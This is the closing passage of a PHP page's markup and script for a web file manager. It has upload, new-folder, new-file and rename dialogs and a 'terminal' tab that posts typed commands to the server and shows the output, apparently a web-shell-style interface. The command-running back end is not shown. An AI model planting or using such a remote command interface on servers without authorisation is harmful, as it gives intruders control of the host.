<div id="upload-modal" class="modal-overlay">
<div class="modal">
<div class="modal-header">
<div class="modal-icon" style="background: #3b82f6; color: #fff;"><i class="fas fa-cloud-upload-alt"></i></div>
<h3>Upload File</h3>
</div>
<form method="post" enctype="multipart/form-data">
<?php csrf_field(); ?>
<input type="file" name="f" class="neo-input" style="width: 100%; padding: 12px;">
<div class="modal-footer">
<button type="button" onclick="closeModal('upload-modal')" class="neo-btn neo-btn-dark">Cancel</button>
<button type="submit" class="neo-btn neo-btn-primary">Upload</button>
</div>
</form>
</div>
</div>
<!-- New Folder Modal -->
<div id="mkdir-modal" class="modal-overlay">
<div class="modal">
<div class="modal-header">
<div class="modal-icon" style="background: #fbbf24;"><i class="fas fa-folder-plus"></i></div>
<h3>New Folder</h3>
</div>
<form method="post">
<?php csrf_field(); ?>
<input type="text" name="dirname" placeholder="folder-name" class="neo-input" style="width: 100%;" required>
<div class="modal-footer">
<button type="button" onclick="closeModal('mkdir-modal')" class="neo-btn neo-btn-dark">Cancel</button>
<button type="submit" name="mkdir" class="neo-btn neo-btn-warning">Create</button>
</div>
</form>
</div>
</div>
<!-- New File Modal -->
<div id="touch-modal" class="modal-overlay">
<div class="modal">
<div class="modal-header">
<div class="modal-icon" style="background: #22c55e;"><i class="fas fa-file-plus"></i></div>
<h3>New File</h3>
</div>
<form method="post">
<?php csrf_field(); ?>
<input type="text" name="filename" placeholder="file.txt" class="neo-input" style="width: 100%;" required>
<div class="modal-footer">
<button type="button" onclick="closeModal('touch-modal')" class="neo-btn neo-btn-dark">Cancel</button>
<button type="submit" name="touch" class="neo-btn neo-btn-success">Create</button>
</div>
</form>
</div>
</div>
<!-- Rename Modal -->
<div id="rename-modal" class="modal-overlay">
<div class="modal">
<div class="modal-header">
<div class="modal-icon" style="background: #fbbf24;"><i class="fas fa-pen"></i></div>
<h3>Rename</h3>
</div>
<form method="post">
<?php csrf_field(); ?>
<input type="hidden" name="oldname" id="rename-old">
<input type="text" name="newname" id="rename-new" placeholder="New name" class="neo-input" style="width: 100%;" required>
<div class="modal-footer">
<button type="button" onclick="closeModal('rename-modal')" class="neo-btn neo-btn-dark">Cancel</button>
<button type="submit" name="rename" class="neo-btn neo-btn-primary">Rename</button>
</div>
</form>
</div>
</div>
<script>
var CSRF = '<?php echo $_SESSION['csrf']; ?>';
// Tab switching
function showTab(tabName, element) {
document.querySelectorAll('.tab-content').forEach(tab => {
tab.classList.remove('active');
});
document.querySelectorAll('.nav-item').forEach(link => {
link.classList.remove('active');
});
document.getElementById(tabName + '-tab').classList.add('active');
if (element) element.classList.add('active');
if (tabName === 'terminal') {
setTimeout(() => document.getElementById('terminal-cmd').focus(), 100);
}
}
// Modal functions
function openModal(id) {
document.getElementById(id).classList.add('active');
}
function closeModal(id) {
document.getElementById(id).classList.remove('active');
}
// Rename file
function renameFile(oldName) {
document.getElementById('rename-old').value = oldName;
document.getElementById('rename-new').value = oldName;
openModal('rename-modal');
setTimeout(() => {
document.getElementById('rename-new').focus();
document.getElementById('rename-new').select();
}, 100);
}
// Terminal
function runTerminal(e) {
e.preventDefault();
var cmd = document.getElementById('terminal-cmd').value;
var output = document.getElementById('terminal-output');
if (!cmd.trim()) return;
output.innerHTML += '\n<span style="color: #fbbf24;">$ ' + escapeHtml(cmd) + '</span>\n';
var xhr = new XMLHttpRequest();
xhr.open('POST', '', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
output.innerHTML += escapeHtml(xhr.responseText) + '\n';
output.scrollTop = output.scrollHeight;
}
};
xhr.send('c=' + encodeURIComponent(cmd) + '&csrf=' + encodeURIComponent(CSRF));
document.getElementById('terminal-cmd').value = '';
}
function escapeHtml(text) {
var div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
// Handle escape key
document.addEventListener('keydown', function(e) {
if (e.key === 'Escape') {
document.querySelectorAll('.modal-overlay').forEach(m => m.classList.remove('active'));
}
});
// Tab support in textarea
document.querySelectorAll('textarea').forEach(function(textarea) {
textarea.addEventListener('keydown', function(e) {
if (e.key === 'Tab') {
e.preventDefault();
var start = this.selectionStart;
var end = this.selectionEnd;
this.value = this.value.substring(0, start) + ' ' + this.value.substring(end);
this.selectionStart = this.selectionEnd = start + 4;
}
});
});
</script>
</body>
</html>